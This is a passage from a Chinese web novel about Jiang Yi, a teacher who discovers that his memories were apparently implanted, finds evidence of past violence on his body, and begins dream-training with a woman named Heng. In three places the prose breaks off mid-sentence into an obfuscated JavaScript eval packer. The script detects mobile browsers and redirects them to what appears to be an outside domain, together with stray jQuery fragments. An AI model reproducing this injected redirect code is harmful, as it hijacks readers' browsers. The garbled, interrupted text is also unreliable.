她送我到社区活动中心门口,和我告别的时候,她让我好好想一想,接下来要怎么办。我想她大概是愿意帮我的,假如我真的想要把这些记忆找回来,但我又想起那个噩梦。假如那个噩梦是真的,我真的被追杀,被倒吊在暴风雨中,我……这些经历足以让一个人在惊恐中度过几年甚至十几年的时间,而那还很可能是我过去的冰山一角。 假如我忘记今天,就当这一切都没发生过,我还是江夷,一个躺平混吃等死的普通中学老师,我也许能正常地生活,正常地恋爱,结婚,生小孩,度过平凡的一生。但……但我是谁?假如今天不曾存在,假如我不曾知道我的过去曾经被篡改,我确实可以这样过下去。但我是谁? 我活在一个虚假的我里面,我是一个活着的幻影。 我想我很难说服自己就这样糊里糊涂地活下去。 8. 梦是没有开头的 第三章 我家就在学校附近,虽说我工作的学校不怎么样,但这一带是市里名校的聚集地,市里比较好的小学都在附近。我家在一个旧小区里面,房子面积不大,但这里因为是学区房,价格都不便宜。小区里的户主大多都搬出去了,平时我上班下班碰到的,大多数是在这里买房读书的家长和小孩。我在这里住了这么久,我从来就没有怀疑过,我一个出生于海边贫穷小镇,父母早亡由奶奶带大的年轻人,到底是怎么凑到几百万一口气把这房子买断的。 我想起之前我们几个同事在路迢家里喝酒,路老师喝多了要重温《盗梦空间》,说在这种半梦半醒的时刻看,会有不同的体会。最后他在那里看完全程,我和其他人看着看着陆陆续续都睡着了,借着酒精和电影的背景音,睡得还挺香。我睡着之前的最后一幕,是筑梦师阿瑞阿德涅,她和莱昂纳多演的男主角柯布身在梦境中,柯布告诉她,他们现在正在做梦,之后他问她,你记得你怎么来的吗?她这才发现自己在梦里,因为梦是没有开头的,故事忽然开始,而她忽然就出现在这个地方。 珩问我以前的事,问我以前的朋友,问我的家人,我一点都回答不上来。我就像梦里的阿瑞阿德涅一样,但因为我的脑海里从来没有“怀疑”这个概念,所以我从来没去观测我记忆里的暗区,尽管我的记忆断断续续,我的世界没头没尾,我也就这样理所当然地生活了下去。 之前我没刻意去比对,但自从今天珩跟我说了那些话,我此时坐在沙发上回想,真正属于我的记忆,和那些被“设定”的记忆,确实有些细微的差别。真正的记忆是互相联系的,而那些被插进来的却不会。我喜欢踢足球,想起足球的时候,夏天青草地的味道,还有摔在地上的时候草叶和泥土擦过皮肤的灼痛,相关的记忆会一并随着“足球”这个概念浮现。足球……我忽然想起四年前的九月三十号,假期的前一天,我在操场被一个足球踢中后脑勺。这时候我在想足球,我想起了摔倒的疼痛,却没想起这一段让我直接进医院躺了一个假期的疼痛。 这段记忆……好像是假的。 四年前的九月三十号。四年前的九月三十号。我真假记忆的分水岭,好像就在这里。 意识到这一点之后,我蹭地从沙发上弹起来,之后就开始翻东西。 我是个喜欢收藏东西的人,电视周围的陈列柜上,放了一些我近两年出去旅游买的纪念品,还有带学生去参加各种比赛拿的奖杯奖座。但我这样一个人的家里,却没有哪怕一本从前的相册。我没有书,不买杂志,不看报纸,因为我被设定成这样。我把我的家翻过来,又翻过去,果然没有找到任何早于四年前那个九月三十号的东西。 我在房间里找到了我的病历本。两个一模一样的病历本,安静地躺在抽屉里。它们都是我从家附近医院的自助购买机那里买的。新的那个是我去年肠胃炎上吐下泻,什么也没带直接从学校打车到医院,临急临忙买的。我翻开病历,里面贴着一张急诊病历,A5大小,黄色纸打印,上面写着“呕吐、腹泻2小时”,底下是一堆电脑同步出来的医嘱,和急诊医生潦草的签名。这是真的。那天吐得头晕眼花的记忆还很鲜活,这肯定是一份真的病历。 另一本呢,我也翻开。这本病历是四年前我被球踢中,去同一间医院的神经内科急诊看病时买的。这病历年代稍微久远一些,纸张略有发黄,病历是手写的,医生用的蓝黑色墨水笔,时至今日,笔迹已经氧化成灰绿色。字迹依然十分潦草,我联系实际记忆,只能勉强看出“头晕1天”,“头颅增强CT”,“收入院”几组字词。 头晕……脑子里有零散的,关于足球,疼痛和头晕的记忆。但是那个把球踢到我头上的学生呢?没有记忆。他把一个老师踢伤了,却没跑过来道歉。CT……想不起来。我不知道CT机长什么样。住院部……有一点点记忆。隔壁住着谁?我的隔壁好像是一块从来没拉开过的蓝色帘子。 二十分钟之后,我赶到了附近的医院。 医院很大,四处都长得一样,现在是下午四点半,距离理论上的下班时间只剩半个小时,但无论是急诊门诊取药窗口还是付费窗口,人都多得过分。在这样一个所有人都被迫加班的周六,每个人看起来都很不耐烦。我拿着两个病历本和我的证件,彷徨地在人群中穿梭。医院里楼和楼之间都是连通的,因为人太多,我看不清地上贴着的指引箭头,走错了几次之后,我在四点四十五分抵达病案室。 前面排队的人还很多,我拿过旁边台子上的咨询表,一边排队一边填。填完个人信息,填到“您要复印的病案时间”一项,我迟疑了。2021年9月30日,我的门诊病历是这么写的,我是在这一天住院的。但真的是这一天吗?那颗怀疑的种子,那颗该死的怀疑的种子。它让我怀疑起了关于我自己的一切。 思前想后,最后我还是决定把这一栏空着。 等排到我的时候,时间已经是五点半了。病案室的工作人员不仅周六上班,还加班半小时,他的脸已经变得非常臭,而我后面甚至还排了快十个人,他们脸上的表情更加难看。前面人刚走,我就被后面着急的人假装不经意地推到窗口前面。脸很臭的工作人员头也没抬,他的声音从窗口上小小的麦克风上传来:“身份证和就诊卡出示一下。” 我把我的身份证和就诊卡递到窗口里,里面人看了一眼,对我说道:“江夷先生是吗?” 这一个多小时里,怀疑已经长满了我的大脑,听到我自己的名字,我还愣了一下,对方很不耐烦地重复了一遍:“江——夷——是吗?”我才反应过来要点头。 他说话像机关枪:“要复印什么时候的病历?” “2021年9月30号的。” “21年?”来复印病历的大多数是要办请假或者报销的人,他们都会卡着病历归档的时间点,尽快去复印,听到这个久远的时间,对面人又看了我一眼。“9月30号出院的是吗?” “不是,9月30号入院的,出院时间我不记得了。” 对面人盯着屏幕看,他把屏幕从上看到下,又从下看到上,之后看向我。 “您2021年没有住院记录,确认是2021年的病历吗?”他在电脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957359|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上又点了几下,“您在我们医院就没有过住院记录。” “啊?不好意思,我记不太清楚了,可能不是2021年,以前呢?你们医院换过系统吗?” “2008年之后的病历都同步了。”他看了一眼我的身份证,“您确定在我们这里住过院?” “……我确定。” “哪个科?” “神经内科……?”我趴在窗口上,但我当然是看不见里面的电脑屏幕,“门诊呢?没有住院记录,门诊有吗?急诊?急诊有吗?” 工作人员又抬头看了我一眼。他那一刻的眼神很奇怪,像是一段马上就要发的脾气,忽然被我一句话摁在了眼睛里面。从前的江夷一定是个感情丰富,而观察力又极佳的人,自从他侵占了我一部分的胸腔,我对于人情绪的感知就敏锐了很多。工作人员很不耐烦,他一开始看到我这个年轻人,本以为是个好沟通的,结果发现我什么都说不清楚,所以他比对其他阿伯阿婆态度更差。但从我说出“神经内科”的那一刻,他的表情忽然间变了。他先是警觉地看向我的脸,看向我的手,确认我没有表现出任何攻击性之后,他看向我的眼睛。 “先生您在我们这里只有一次就诊记录,是去年的四月份,您因为急性肠胃炎到急诊去了。”他看向我,神情霎时温和了下来,眼里虽然还有些残余的警惕,但好像觉得我很可怜,“您家人呢?您自己来的?” “不好意思,那我可能记错了。”我说,之后收起他递过来的证件。我刚迈开一步,后面的人就从侧边绕了上来,企图用身体把我挤走。我是该赶紧走的,但我很累。我来之前其实已经预想到这样的结果,从我的春梦变成噩梦,从珩问我以前的事情,从我发现我想不起踢球的学生的开始,我早就预想到会有这样的结果,我只是抱有一丝侥幸,宁愿相信我是“被球踢中了脑震荡后遗症记性很差”,相信珩和人鱼电影院老板一样是个狡猾的想要从我这里赚钱的奸商,都不愿相信我生活的世界是虚构的。 五点四十五分,在我踏上下楼的扶梯的前一刻,我回头看了一眼。 病案室里没几个人在排队了,但座椅上依然坐满了复印完病历,正一张张翻看检查的人。他们看起来都不太高兴,我没有不高兴,像我这样一个人无所谓高兴与不高兴,我宁愿不高兴。至少他们知道自己是谁,知道自己的家人在哪里,知道自己生病了,知道自己生的是什么病。而我像个局外人一样看着来来往往的人,和现实的一切都很疏离。 …… 再一次回到家,打开门,打开灯,熟悉的场景出现在眼前,我却觉得有些陌生。在我出去的这几个小时里,怀疑又在我的脑海里放肆地滋长,我看着我的家,忽然感觉到一种空落……这里所有的东西都属于我,但又好像都不属于我,现在在思考的这个人是我,又好像我胸腔里蜷缩着的二十岁江夷,才是真正的我。 准备洗澡的时候,我难得一次看向了镜子。我看着镜子里的我自己,这个承托着现在和过去的我的肉身,是我唯一始终确切地拥有着的实体。我看着镜子里自己的脸,之后我把衣服脱掉。 9. 我可以帮你 我就这样把身上的衣服全部脱掉,之后赤条条地站在镜子前面,看我在这世上唯一确切的所有物。 我大学学的散打,这肯定是假的。我回忆“散打”,理论知识出来了,训练场景出来了,回忆一下“受伤”,疼痛的感觉出来了,校医院的画面出来了,怎么受伤的?找不到记录。我看向镜子里的我自己,这确实是一个常年进行体能训练的人的身体,很结实,但肌肉匀称,无论哪一个部分看着都不会分外突出,平日里套一件宽松的衣服,看起来就是一个体态比较挺拔的普通人,看不出丝毫训练的痕迹,不像特意到健身房训练的人那样,肌肉线条经过精确计算,一看就是钱和时间的产物。我曾将我的敏捷和力量都归结于“大学学的散打”,但现在看来,显然不是如此。 我的身上有伤痕,自从二十岁的江夷住进我的胸腔,我就像一个近视的人戴上了眼镜,事物忽然就变清晰了,我不敢想象我居然曾经有过一个这么好用的脑子,我轻易地看出我身上的伤痕不像是训练时来的。 按照我这几年来受伤之后的经验,我不是一个容易留疤的人。我的下巴有一条很短的疤痕,那是以前去路迢家,我抱他的猫,猫给我来了一爪子。只有深达真皮以上的伤痕,比如猫爪子抓的,才会在愈合之后,留下一条瘢痕。我身上有不少类似的痕迹,散在分布,但主要集中在左边手臂,谁训练会训练出这种痕迹——由此可见我是真打架,事情可不是在擂台上打比赛这么和平。 我的右手摸过左边手臂上的伤痕,之后顺着手臂,我摸到了自己的胸口。很奇怪,我的左边肋骨上,有两个小小的隆起,像是骨折过后愈合形成的骨痂。因为身上肌肉比较发达,肌肉挡在外面,如果不是上手摸,根本就看不出来这里有异常。我的手指轻轻地按压着这两块骨痂,关于这次受伤的记忆当然是被抹掉了,但记忆连带着的恐惧—— “恐惧”这个词出现的瞬间,我胸腔里蛰伏着的二十岁江夷忽然冲出,就像那天我在水底图书馆,坐扶梯下负一层时那样,他忽然尖叫着从我的身体里冒了出来,之后双手将我的胸腔硬生生扯开。 那一瞬间我仿佛被扯到了那个恐怖的水底图书馆里,幸而我现在是在清醒状态,强烈的恐惧瞬间将我淹没,之后又立即退却。我的身体还在浴室里,镜子里的还是我自己。以前的我关于这次受伤的记忆似乎分外深刻,恐惧就像闪电一样,瞬间爆发出巨大的能量,之后又消失无踪。他恢复了平静,又蜷缩在我胸腔里属于他的一小块空间,不说话了。 我继续检查我自己的身体,除了那些细碎的伤痕,我的手腕上有勒痕,绳子勒得很紧,绳子上毛刺吃到肉里,留下和我下巴的猫爪印相似的几个点状瘢痕。而我脚上的勒痕更加明显,时日已久,愈合后的瘢痕成了淡淡的褐色,近看时犹如一副长在皮肤上的镣铐。我想起噩梦里的我自己,我被倒吊在窗外——真是刺激,说不定这是真实发生过的事情。 …… 这一晚我当然是没睡好,我在做噩梦,做一个漆黑的,什么都看不见,但周围充满了恐惧的噩梦。 我六点多就醒了,八点钟我就到了社区活动中心门口。活动中心九点开门,我在那里站累了坐,坐累了站,珩依然没来。活动中心里的阿伯阿婆开始打麻将,做早操,义工开始和阿姨们一边聊家长里短一边做手工,我坐在门口的榕树底下等。我居然没有问珩要一个联系方式,我只能在这里等她。阿姨们说珩不爱看手机,喜欢睡懒觉,找不找得到她,基本上随缘。前一天给我开门的那个漂亮卷发阿姨,问我要不要给她打个电话,我有求于人,还打电话扰人清梦,于情于理都不妥当,于是我摆摆手,说,我再等等吧。 阿姨让我坐在现在这棵榕树底下,这里能看见外面大马路通往这条街的路口。阿姨说,珩就住在附近,每次都骑车来,你坐在这里,她要来了,你第一时间就能看到她。 我就坐在那里看路口,今天阳光很好,我昨晚几乎没睡,这大太阳和开放的空间,让做了一晚上噩梦的我难得找回一些安全感。我坐在围绕大榕树建的石墩上昏昏欲睡,睡着睡着,如有所感,我迷迷糊糊睁开眼。 这一睁眼,便看见那边路口一个骑着自行车的人影飞速而来,我一下子就站起来了。我站起来的动静好像有点大,在一群已经七老八十开始驼背的阿伯阿婆中间,站起来的我像个巨人。珩刹车的动作和骑车的速度一样急,她几乎是瞬间就刹停在我面前。我留意到她今天换了件不同颜色(但同样非常宽大不合身)的T恤,头发因为骑车骑得太快而吹得乱糟糟的,阳光落在她头上,绿色和金色的光乱闪。她骑的是一台二十八寸的旧单车,轮子和她竹竿一样的腿放一起,显得非常大,而车架子颜色掉了大半,看着很上年代,它不是上一辈传下来的宝贝,就是单车行里卖得很便宜的二手战损车。 看见她的那一刻,我的心情很复杂。我昨天才见过她,但中间这一天太长,太混乱,她开启了我的混乱,但现在也只有她有可能终止我的混乱。 “你来了。”我说。 她的神情略有变化,相比于昨天她面对我时全程毫无波动的平静表现,她刚刹停单车,抬头看我时的目光,似乎有一瞬间的松动。 “我以为你不会来了。”她把她的旧单车锁在栏杆上,“昨天过得怎样?” 说完,她回头看我一眼。 不怎样,太不怎样了,我把“不怎样”三个字都写在眼睛里了。一言难尽,实在是一言难尽。 “好幽怨的眼神,好大的黑眼圈,看来不太好。”她说,“跟我来吧。” 她转身往社区活动中心里面走,我跟在她后面,今天二十岁的江夷对她的警惕性不高,我实在有些好奇他——我是说以前的我——到底经历了什么,他好像一只被虐待过的流浪猫,对一切都警觉,经过了昨天的事情,他好像终于对珩建立起了一点信任,他短暂地把珩的警备级别从“可能会把我杀掉”降到了“暂时没想杀我”,我终于不用顶着120的心率走过这一段路。 今天我来得早,昨天睡我旁边躺椅上的两个阿婆没在,屋里只有珩和我两个人。 我在躺椅上躺下,珩坐在我旁边,从上面看着我。 我胸腔里的流浪猫不喜欢这个姿势,这是个容易被攻击而难以立即跳起来反抗的姿势,但我莫名地喜欢。躺椅上面铺的垫子很软,屋子里有些不知名的魔法,陷进躺椅之后,我马上就有些睡意。要知道我昨天被看不到任何东西的黑色噩梦折磨了整整一晚上,刚躺上去,我的防备就轻易地卸下。那些难以和路迢或是任何一个“正常”的朋友同事言说的诡异事情,迫不及待地就要涌上我的喉咙。 “我昨天……” 这是我认识她的第二天,但她是唯一一个知道我秘密的人。独自一人藏着许多噩梦的感觉很不好,在我有记忆的四年里,我从没有觉得自己像这样孤独又沉重过。我很想把昨天的事情都告诉她,过去那个感情细腻的江夷,让我的昨天分外的色彩鲜明——但因有十几年的记忆断档,我的表达跟不上感官,我无法很清晰地告诉她昨天的事情。 她感觉到了。她感觉到我的急切和语无伦次,她很适时地靠近我。 我的头好像被打了一下,再睁开眼时,房间还是那个房间,珩还是珩。但直觉告诉我,她把我放倒了,我现在在做梦。 “江先生,如果你不介意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957360|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,我看一下你的记忆?” 我说好。 之后我瞬间回到了昨天的记忆里。她把我的记忆调到了十几倍的速度,我在我自己的身体里,眼睛看着自己快速地在客厅里移动,翻东西,跑到医院去,找病案室,排队,灰溜溜地回家。然后我站在浴室的镜子前面,看着镜子里的自己走神。因为开了倍速,我并没有意识到接下来给我反应的时间窗会变得非常短,所以非常突然地,我开始脱衣服。 我大喊:“停停停!!!” 她的手比我的嘴更快,她几乎是在我开始脱裤子的那一刻就按了暂停,但是因为她开了倍速,等画面停下来的时候,我的内裤已经脱一半了。 一直跟着记忆活动的我忽然获得了自主权,我感觉到珩从我的脑袋里仓皇地跳了出来,她落在我旁边,并不看我。意识到自己可以动的那一瞬间,我赶紧把内裤提上。 她不看我,也不看镜子,我感觉到了她的嫌弃,她说:“你在干什么?” “我在检查我自己,”我匆忙捡起地上的裤子,“对不起,因为我翻了一圈,我只能确认这身肉是真的。” 她背向我的身影一顿,之后空气中有些微妙的沉默,她不说话,我不敢说话,浴室里只剩了我穿裤子的声音。 她忽然转过来,这下轮到我慌忙背过身去。 “所以你发现了什么?” 她没嫌弃我了,她在认真发问,甚至有些关心。她看着我,昨天我说不出任何一个旧朋友的名字时,她也这样看着我。 我把裤子穿好,手伸到她面前:“这里有勒痕,”我撩起裤腿,露出脚腕,“这里也有……被倒吊的事情可能是真的,脚上的勒痕比手上的深很多。” 她抬头看我,我发现她体型其实很小,只是因为她身形瘦长,兼之能使用一些不知名的法术,随随便便把我放倒,我对她的高度有点误会。 她的眼睛只在我胸口的位置,她盯着我看,显然是察觉到我的两边胸廓略微有些不对称。 “左边肋骨断过,两根。”我解释道。 “我记得你说过在图书馆负一层,他……” “对,昨天我不小心碰到了,是一样的感觉,他发了疯一样地把我撕开,从心脏里冲出来。”一提到这事,我的手心就开始冒汗,我尽量在她面前表现得平静一些,“我总觉得这骨折是很久之前的事情了,至少比被倒吊要久远得多。但他好像特别害怕,特别特别害怕——” 她忽然伸手过来,她冰冷的指尖触碰到我的皮肤时,我不由得战栗了一下。而之后那种闪电般的疼痛如期而至,就像跳楼机开始坠落那一刻的失重,我知道我除了忍着,什么都做不了。 在她碰到我的瞬间,我闭上了眼睛,等待潮水般的恐惧来临。 但什么都没发生。我睁开眼,房间还是房间,珩还是珩。和昨天一样,我双眼失焦,心率每分钟180次,我盯着她看了十几秒,才终于看清了她。 我确实又被拉回到图书馆的负一层去,但她及时把我从梦境里拽了出来。 我从头到脚都汗涔涔的,呼吸急促,近乎喘息,像个从水里刚捞起来的溺水者。 “谢谢。”我逃过一劫,颤着声道谢。 她没回应我的感谢,倒说了些别的。 她说:“所以你决定好了,要找回以前的记忆?” “是的。” “哪怕里面可能很多类似这样的噩梦?” 她说“这样”的时候我身上的肌肉分明跳了一下,但我还是回答:“是的。” “不后悔?” “不后悔。” “好吧,”她说,“我可以帮你。” 10. 珩的训练场 我可以帮你。 但是作为交换,你需要答应我几个条件。 我现在虽然住在一个二十六岁的身体里,但我——我是指现在这个负责思考和决策的人格——其实只有区区四年的做人经验。珩比我狡猾多了,她在我从噩梦中脱身,最彷徨的时刻,答应我要帮我。之后等我心率恢复,人足够清醒之后,她才开始跟我谈条件。 现在是早上十点,我和她站在社区活动中心的二楼走廊上,从我们这个位置可以看见楼下的花园。一个穿着红马甲的义工阿姨站在最前面,正领着一群跟不上节拍群魔乱舞的阿伯阿婆打太极。珩微微倾身,双手交叠,趴在栏杆上。阳光照在她的头上身上,她深绿色的头发衬得她的肤色发冷,白得有些过分。 “什么条件?”我问她。 她把目光从楼下的花园移开,她抬起头,看向前方,似乎是在思考。 “第一,我教你怎么找记忆,你就算是我的学徒,你得帮我干活。” 她看起来是不稀罕钱但也不缺钱那一类人,我一无所有,没什么可给她的,让我用劳动力来交换,非常合理。 “可以。” “第二,我所教你的所有东西,不能用于除了‘找回你的记忆’以外的其他意图。” 我想起了人鱼电影院的老板。果然他那个“珩”和我这个“珩”有些渊源。 “没问题。” “好,那最后一条,”她把目光从远处收回,侧过脸来看我,“你达到目的之后,你就要把我和这件事一起忘了,之后你不能再来找我,我们就当互相不认识。” …… 一定是实际年龄只有四岁的我,在这两天的惊吓中,拉住了她这根救命稻草,不知不觉间对她有些过分的信任和依赖,这个要求听起来有些冷酷,好像是怕我之后还缠着她似的。这话虽然让我略微有些不适,但我马上就理解了,确实我跟她不熟,而且我翻着翻着也不知道会翻出什么来,说不定我是个通缉犯,是个变态杀人狂,她肯帮忙已经算很不错,我总不能赖着别人不放手。 我迟疑了,她看着我,就等着我回答。 “行。” 闻言,她站直了身,之后转过去,背对着栏杆,又放松地靠下去。换做以前我会跟她一样靠着栏杆,但我胸腔里那个流浪猫,预设了一万种被人谋杀的死法,我被他弄得总疑心一靠上去栏杆就要断掉。她往我这里看,她神色悠然,而我像个傻子一样,笔挺挺地在她旁边站着。 她忽然向我伸出一个小指头。 我不明所以:“怎么了?” 她看我:“拉勾啊。” 我才反应过来这原来是个盟誓,看来她虽然狡猾,还是幼稚,今年四岁的本人在心里默默地想。我伸手过去,轻轻勾住了她的手指。她看来确实是有点太瘦了,气血不足,大夏天的,手还是很凉。刚刚还被她的第三个条件弄得有点不舒服的我,此时心情放松了下来,我说:“我这算是立誓拜师吗?人家电影里拜师都要杀鸡杀猪上香拜祖师爷的,怎么你就拉个勾,太敷衍了。” “那都是些仪式,拿来唬人的,就好像我问你能不能让我看你的记忆一样,只要你的脑子同意了,你口头答应和签份合约,效力都是一样的。”她施施然倚在栏杆上,“我这里又不是公证处,拉过勾盟誓就算生效,一旦你不给我干活,你就算负约,就要受罚。” “等等,什么?”我猛然瞪大眼睛,“你还没说要我给你干什么呢?” “你干了就知道了。” “那不干会罚什么?” “你不干就知道了。” 我愣了两秒,忽然间捂着胸口,一刹那的功夫,额上已经全是冷汗。 “你怎么了?”她问。 “他发脾气,踹了我一脚。”我咬牙切齿,指着胸口回答。 “他?为什么?” “因为我不看合同就签字。” 这个狡猾的,幸灾乐祸的,毫无同情心的女人,认识她两天了,她第一次笑居然是在这个我捂着胸口疼得龇牙咧嘴的时刻,她说我像XXXL号的西子捧心。 …… 这天下午,我成了水厂街社区活动中心的注册义工。我在登记表上填身份证号的时候,珩就站在我旁边看着。我假装不经意地抬头,看了一下周围的人——漂亮卷发阿姨看着我,一副心中了然的样子;几个阿姨也看我,但她们目光八卦眼神狡黠,可能觉得我是醉翁之意不在酒,来这里当义工是为了追珩;做大锅饭的阿叔也盯着我看,我这个罕见年轻壮丁的加入,对于天天搬米搬菜搬到自闭的他来说,简直就是福音。填完表,贴完刚刚在路口照相馆新鲜拍的证件照,我跟着珩出来。 我问她:“他们知道你有超能力吗?” “嗯,有的人知道,有的不知道。” “谁知道?” “欠我人情的知道,不欠的不知道。” ……用秘密交换秘密,把知情者吃得死死的,她比我那些诸如路迢之类的同事狡猾多了,我被她骗着签个合同也是情理之中,嗯,原谅自己。 我再一次问她我跟着她都得干些什么,她表示在让我正式以实习生身份上岗之前,她得先对我进行一下摸底考试,顺带岗前培训,以保证我不会砸了她的招牌,或者被吓死。她非常轻描淡写地把“被吓死”三个字跟在一堆破坏她口碑影响她赚钱吓跑她老客户之类的后果后面,好像我被吓死是一件无关紧要并且发生概率比较高的事,之前一直把她当世外高人当神仙看的我,头一次有种上了贼船的感觉。 她带我在社区活动中心里转了一圈,介绍每个房间的用途,之后让我挑一个房间,说是以后的训练都在那里进行。这时候我们刚吃过午饭,我有点晕碳,正好又走到之前那条走廊里,中午的时候这里的阳光实在好,我困得走不动,挑了原本的房间,走向熟悉的躺椅,之后就一屁股坐下。 我躺在躺椅上,她又拉了个凳子,坐在我身旁。 我听见她的声音在耳边漂浮,它变成一片半透明的纱,罩在我的脸上,让我有点缺氧,有点发昏。 她说:“人的梦境是最私密的地方,就算是走进一个未经训练的普通人梦里,都会被对方的潜意识抵抗。” 我一半神经已在麻醉状态,发不出半点声音,我只能点了点头。 她又说:“而你以前是个筑梦师,受过专业的训练,你的梦境里布满机关和陷阱,而现在的你有可能会被识别成外来入侵者。” 我又点头。 她说:“你要服从我的命令,记住我跟你说的每一句话。” 我想要点头的那一瞬间,地板陡然塌陷。 等我的脚再次踩到地面时,周围已经没有光了。这里的空气特别潮湿,四处有滴滴答答的水声,好像在下雨,又好像是在一个漏水的屋子里。 “这是哪里?”我问珩。我的声音有回响,这是在室内。 “训练场,我在你的梦里临时建的。”她说,之后她“咔哒”一声打开手电筒,手电筒的白光照出一条光路,她没回头看我,径直就往前走。“跟着来。” 地上有水,这种潮湿黏腻的感觉让人很不舒服,空气里似乎还有些许发酵的味道,像陈年的淤泥和垃圾。我有点想问为什么要建个这种环境的训练场,但是我感觉我问得有点太多了,珩给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957361|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些模棱两可语焉不详的回答,让我感觉她好像不是很想理我。我不知道以前的我是怎样的一个人,现在的我有点讨好型人格,我好像很怕被讨厌。今天她在我的记忆里,我开始脱衣服的时候她跳出来,那嫌弃的眼神我忘不掉。虽然我知道任何一个像她一样年纪的女生,看见一个男的莫名其妙在面前脱衣服,都会是这个反应,但我还是有点说不清的不舒服。她走得很快,我跟在后面,一路没说话。 走了大概五分钟,我感觉周围的空气更加潮湿了,同时有些食物腐败的气味在漂浮。她忽然停住脚步,我差点没刹住,幸好没撞到她身上。 环境很黑,只有她手电筒光照着的地方是亮的。 她转向我,那一刻的眼神像极了我课间在教学楼里闲逛,看见教室里正在明目张胆拖堂,并且火眼金睛逮着走神的学生就点起来回答问题的初三级数学科科组长。 我的直觉果然没错,她果然要点我回答问题,天下老师果然一般同。 “现在开始测试,第一个问题,”她说,“人储存记忆的特点是?” 是?是?是?我没有记忆。这何止是超纲问题,简直是进错考场。 “不知道。” “记忆丢失,而且一点都没打算思考。” “……” 我灰溜溜地站在旁边不敢吱声,幸好她真心想教我,看我真不记得了,她把手里的手电筒调高一档,光路瞬间穿到更远的地方。“你的记忆就像这个房间,但它是黑的,你只能看见你照亮的地方。”她说,“这叫‘观测’。人的记忆和图书馆里放的书不一样,图书馆里的书,就算你不看它,它也存在,它是物质的。你的记忆不是物质的,想不起来就等于没有。” 说实话以我四岁的智商,我听不懂,我看着她的手电筒,假装在思考,其实是不敢跟她眼神交流。但我没跟她眼神交流,她依然继续提问。 “所以第二个问题,”她问,“怎么才能让你的记忆量更大?” “……多读多看多背。” “路迢教你的?他是语文老师吧?他是英语老师的话,你是不是会回答‘多听多写多说’?” 我今天真是梦回小学初中,我站在她旁边一点没敢动,像个上课被点起来回答问题,接二连三接三连四一个字都答不出来的后排差生。 “你要让你的‘观测’范围更广,明白吗,第三个问题,怎样让——” 她说到一半回头看我,我那一刻的表情肯定很不好看,我肯定看起来非常的窘迫,非常的不知所措,并且因为觉得自己丢人,脸非常红——因为她在看到我的那一刻好像笑了一下。……这个幸灾乐祸,落井下石,毫无同理心的女人。 “算了不问了,不为难你了。”她拧了一下手里的手电筒,电筒发出的光路变宽,眼前的路亮了一大片。“你想象一棵树,或者想象一个这样的手电筒。你要通过一个接一个的分支,逐渐扩大你能记起来的范围,这就是‘联想’。观测,联想,记住了吗?只有你想起来的东西才存在,你要通过联想让自己想起更多的东西。” 我这下算是有点明白了,我点点头,她看向我,见我终于有点像是听懂了的样子,十六岁的眼睛里现出六十岁老母亲的欣慰,她呼出一口气,说:“行,那就这样吧,理论知识考完了,电筒给你,我回去了。” 我听说“考完了”,暗舒一口气,之后我猛然发现电筒在我手里,而她走了。 “喂,等等我啊!” “我先回去,你还没考完呢,这不是才考完理论。” “哈?”我追上去,四周滴滴答答的水声让我心里发毛,“后面还考什么?” 11. 虫出没 PS:本章有虫注意!怕虫的朋友可以在描写部分开始时速速划过 她不说话了。我也追不上去了,因为我面前被电筒照亮的地方,是好几根横在路中间的树干。树干是褐色的,上面长满粗大的尖刺,树干后面还是一块高大的巨石,电筒光范围有点小,我看不到路。我把电筒拿到面前看,找到了珩调照明范围大小的开关,我学她拧了一下电筒头,白光瞬间扩大,眼前的巨石被照得彻亮,巨石足有三层楼高,楼顶是两颗闪亮亮的玻璃球,和两条很长很长的天线,伸入光线以外的黑暗。 不是…… 不是…… 它动了。 那堆长着尖刺的树干动了。树干是长在巨石上面的。 不是…… 不是……这好像不是树和石头。 这他妈是只三层楼高的大蟑螂! 我在它那堆毛茸茸的三米大腿动起来之前猛地惊醒,当我发现我又坐在社区活动中心的躺椅里,而珩站在我面前时,我仿佛劫后余生,甚至有一瞬间觉得好幸福。这次惊醒的反应没有之前强,我的心跳非常平稳,视野也很清楚。我清楚地看见珩抱着双臂站在那里,居高临下地看我。 “梦境稳定性评分,0。”她面无表情地说,“没想到你一个大男人,居然能被蟑螂吓醒。” “不是,谁能不被吓醒啊,”我争辩,“三层楼高的大蟑螂!腿比我人还粗!” “我这是降低难度了好吗?三层楼高的蟑螂,那肯定是只假蟑螂,你说你梦见一只巴掌大的蟑螂骑你脸上,和梦见三层楼高的大蟑螂挡你面前,哪个比较恐怖?” ……都很恐怖好吗!!! 